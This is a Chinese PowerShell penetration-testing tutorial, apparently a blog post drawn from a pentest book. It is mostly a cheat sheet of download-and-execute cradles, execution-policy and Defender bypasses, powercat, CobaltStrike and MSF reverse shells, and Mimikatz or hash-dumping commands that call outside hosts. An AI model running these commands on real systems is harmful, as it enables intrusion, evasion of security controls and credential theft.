PowerShell使用
目录
Windows PowerShell
PowerShell的执行策略
绕过执行策略执行PowerShell脚本
PowerShell的常用文件类命令
PowerShell远程下载文件并执行
渗透测试常用的PowerShell命令
Powershell导入文件
Windows PowerShell
Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在Windows7及其以上的系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中,它可以直接在内存中运行。
各操作系统的PowerShell版本
操作系统 | PowerShell版本 |
---|---|
Windows7、Windows Server2008 | 2.0 |
Windows8、Windows Server2012 | 3.0 |
Windows8.1、Windows Server2012 R2 | 4.0 |
Windows10、Windows Server2016 | 5.0 |
一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列的PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为.ps1。
在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,一个是x86版本的。这两个版本的执行策略不会互相影响,可以把它们看成是两个独立的程序。x64版本PowerShell的配置文件在 C:\Windows\SysWOW64\WindowsPowerShell\v1.0 目录下。
PowerShell的优点
- Windows7以上的操作系统默认安装
- PowerShell无须写到磁盘中,它可以直接在内存中运行。
- 可以从另外一个系统中下载PowerShell脚本并执行
- 很多杀毒软件检测不到PowerShell的活动
- cmd通常会被杀毒软件阻止运行,而PowerShell不会
- PowerShell可以用来管理活动目录
查看PowerShell版本
- Get-Host
- 或者
- $PSVersionTable.PSVERSION
PowerShell的简单使用
可以执行 ctrl+R ,输入PowerShell 调出PowerShell,也可以在cmd下输入powershell进入,还可以在cmd下输入powershell命令,但是在每条命令之前加上powershell help查看PowerShell的帮助。
PowerShell的执行策略
为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。
我们可以使用:Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。
- Restricted:脚本不能运行(默认设置)
- RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
- AllSigned:仅当脚本由受信任的发布者签名时才能运行
- Unrestricted:允许所有的脚本执行
可以看到,我们PowerShell脚本当前的执行策略是 AllSigned。
修改PowerShell执行策略:
Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行
绕过执行策略执行PowerShell脚本
在渗透测试时,需要采用一些方法绕过策略来执行PowerShell脚本:
下载远程PowerShell脚本绕过权限执行
经过测试,在cmd窗口执行远程下载的powershell脚本,不论当前策略,都可以直接运行。而powershell窗口不行。
- #cmd窗口执行以下命令
- powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
- 在powershell窗口执行
- IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
绕过本地权限执行
上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本
powershell -exec bypass .\test.ps1
本地隐藏绕过权限执行脚本
powershell.exe -exec bypass -W hidden -nop test.ps1
- ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则
- WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏
- -command(-c):执行powershell脚本
- NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件
- NoLogo:启动不显示版权标志的PowerShell
- Nonlnteractive(-noni):非交互模式
- Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要
- -enc base64: 把ps脚本编码成base64来执行,实战用的最多
PowerShell的常用文件类命令
在PowerShell下,命令的命名规范很一致,都采用了动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PoerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls 。
文件操作类的PowerShell命令
- 新建目录test:New-Item test -ItemType directory
- 删除目录test:Remove-Item test
- 新建文件test.txt:New-Item test.txt -ItemType file
- 新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
- 删除文件test.txt:Remove-Item test.txt
- 查看文件test.txt内容:Get-Content test.txt
- 设置文件test.txt内容t:Set-Content test.txt -Value "haha"
- 给文件test.txt追加内容:Add-Content test.txt -Value ",word!"
- 清除文件test.txt内容:Clear-Content test.txt
PowerShell远程下载文件并执行
cmd窗口下载文件
管理员权限才可以下载到C盘目录下,普通权限不能下在到C盘下。DownloadFile函数必须提供两个参数
- #下载文件到指定目录
- powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
- #下载文件到当前目录
- powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');
cmd窗口下载文件并执行(exe)
远程下载木马文件并执行
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe
cmd窗口下载文件并执行(powershell脚本)
远程下载 test.ps1 脚本,直接执行,该命令可以绕过powershell的执行策略。
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
远程下载 powercat.ps1 脚本,并带参数运行,该命令可以绕过powershell的执行策略
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
渗透测试常用的PowerShell命令
关闭Windows自带的Defender防火墙(需要管理员权限)
powershell Set-MpPreference -disablerealtimeMonitoring $true
在cmd窗口下执行,将远程主机上的test.exe 下载到本地的D盘下
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
cmd窗口下利用Powershell反弹NC shell
- 在cmd窗口执行
- powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
- 在powershell窗口执行
- IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
cmd窗口下利用Powershell反弹CobaltStrike shell
- 在cmd窗口执行
- powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
- 在powershell窗口执行
- IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
cmd窗口下利用Powershell反弹MSF shell
- 在cmd窗口执行
- powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
- 在powershell窗口执行
- IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
远程加载PowerShell脚本读取明文密码
需要管理员权限
- 在cmd窗口执行
- powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
- 在powershell窗口执行
- IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
远程加载PowerShell脚本读取密码hash值
需要管理员权限
- 在cmd窗口执行
- powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
- 在powershell窗口执行
- IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
Powershell导入文件
在大型的Powershell项目下,通常会有 .ps1 、.psd1 和 .psm1 几种后缀的文件。如PowerSploit工具
下面说下这几种后缀文件的用法。
- .ps1 文件就是PowerShell脚本文件,该文件内容就是powershell语法
- .psd1 文件是这个模块的介绍
- .psm1 是模块文件
对于 .psm1 和 psd1 文件,可以使用以下命令进行导入
- Import-Module .\PowerSploit.psm1
- Import-Module .\PowerSploit.psd1
然后输入命令:Get-Command -Module PowerSploit 查看导入的模块都有哪些功能
对于.ps1文件,既可以使用 Import-Module 也可以使用 . 进行导入
- Import-Module .\Get-Information.ps1
- . .\Get-Information.ps1
注:以上所有的命令都建议在cmd窗口执行!!
参考书籍:《Web安全攻防-渗透测试实战指南》
相关文章:PowerSploit收集域信息
一些值得收藏的PowerShell工具
PowerShell使用相关推荐
- 不一样的命令行 – Windows PowerShell简介
引子 一直很羡慕Linux的命令提示符(当然他们叫Shell).正则表达式,管道,各种神奇的命令,组合起来就能高效完成很多复杂的任务.效率实在是高.流了n年的哈喇子以后,终于有幸用上了Win7,邂逅了 ...
- PowerShell 2.0 实践(十二)管理 SQL Server 2008 R2(1)
DBA可以使用的工具很多,对于SQL Server来说,有查询分析器.事件探查器.命令行工具等,其中SQL语句是重中之重,但是PowerShell的出现使得DBA又多了一种选择. 测试脚本下载 本系列 ...
- linux远程开机windows,从Linux到Windows的PowerShell远程处理
原标题:从Linux到Windows的PowerShell远程处理 前提条件 1)后期利用期间可以通过目标NTLM身份验证 2)重启WinRM服务 3)使用此NTLM支持PowerShell Dock ...
- 在win7怎么使用linux指令,Win7系统的Powershell命令怎么使用
Win7系统的Powershell命令怎么使用 命令提示符的使用频率虽然不高,但它在系统和网络管理,维护工作中起着重要的作用.在微软最新的Windows7系统中也为我们带来了cmd的升级版Window ...
- powershell真香
写毕设开题报告,从PDF复制后会有多余空格,一个一个手动删除略显麻烦. delete.cpp #include<iostream> #include<cstdio> #incl ...
- 使用Powershell批量为Azure资源添加Tags
在使用Azure的过程中,我们可以将Tags应用于Azure资源,从而可以将元数据逻辑的组织到某些分类中.每个Tags由名称和值组成.例如,我们可以将名称"Environment" ...
- PowerShell 导入 SQL Server 的 PS 模块
接触过UNIX或者Linux 的朋友都知道此类系统有着功能强大.无所不能的壳程序,称之为Shell.微软公司于2006年第四季度正式发布PowerShell,它的出现标志着, 微软公司向服务器领域迈出 ...
- Windows PowerShell 2.0语言之字面类型系统
PowerShell语言允许通过一个字面类型(type Literals)来访问类型,它是用括号抬起的类型名,返回.NET底层的System.Type对象实例,如: PS C:\> [Syste ...
- Windows脚本初探之PowerShell流程控制if
Windows Powershell中if语句为可以为一下三种形式,只用表达式为True时才执行相应花括号中的命令语句/块: 示例1: 1 2 3 4 if (表达式1) { 命令语句/块 ...
- 《Windows PowerShell实战指南(第2版)》——3.4 使用帮助找命令
本节书摘来自异步社区<Windows PowerShell实战指南(第2版)>一书中的第3章,第3.4节,作者:[美]Don Jones(道·琼斯) , Jeffery Hicks(杰弗瑞 ...
最新文章
- 信号转换问题 | 模拟电路解决方式
- 【学术相关】选导师犹如选对象:真真切切,现现实实!
- 创建IE各版本专属CSS
- Linux之Json20160705
- 【CV竞赛】百度车道线检测,正在报名中,8.9万元奖金
- OpenShift Security (3) - 准备客户端环境和演示应用
- java8之Stream API(提取子流和组合流)
- python是什么语言-Python是什么?为什么现在越来越多的人选择学习Python语言
- spring 多线程 写入数据库 和 写入 xml文件
- python for 加速_适合练习的10个Python项目,每个项目都不到500行代码
- 学会一招!如何利用 pandas 批量合并 Excel?
- python 抽奖库_用 python 写一个年会抽奖小程序
- 华为8月9日发布鸿蒙,8月9日华为正式发布鸿蒙系统
- 蒙特卡罗算法的matlab实现
- 仿简书,知乎pc官网顶部导航栏上下滚动效果
- 共享计算机脱机访问计算机,你的共享文件同步脱机了吗?
- c语言反三角函数值域,反三角函数定义域和值域
- HTML5 canvas 瀑布流文字 (骇客帝国效果)
- Linux系统 通过i2c读写铁电存储器 ram
- 【PS推荐】Photoshop CC2017安装教程及注意事项【如何修改安装路径】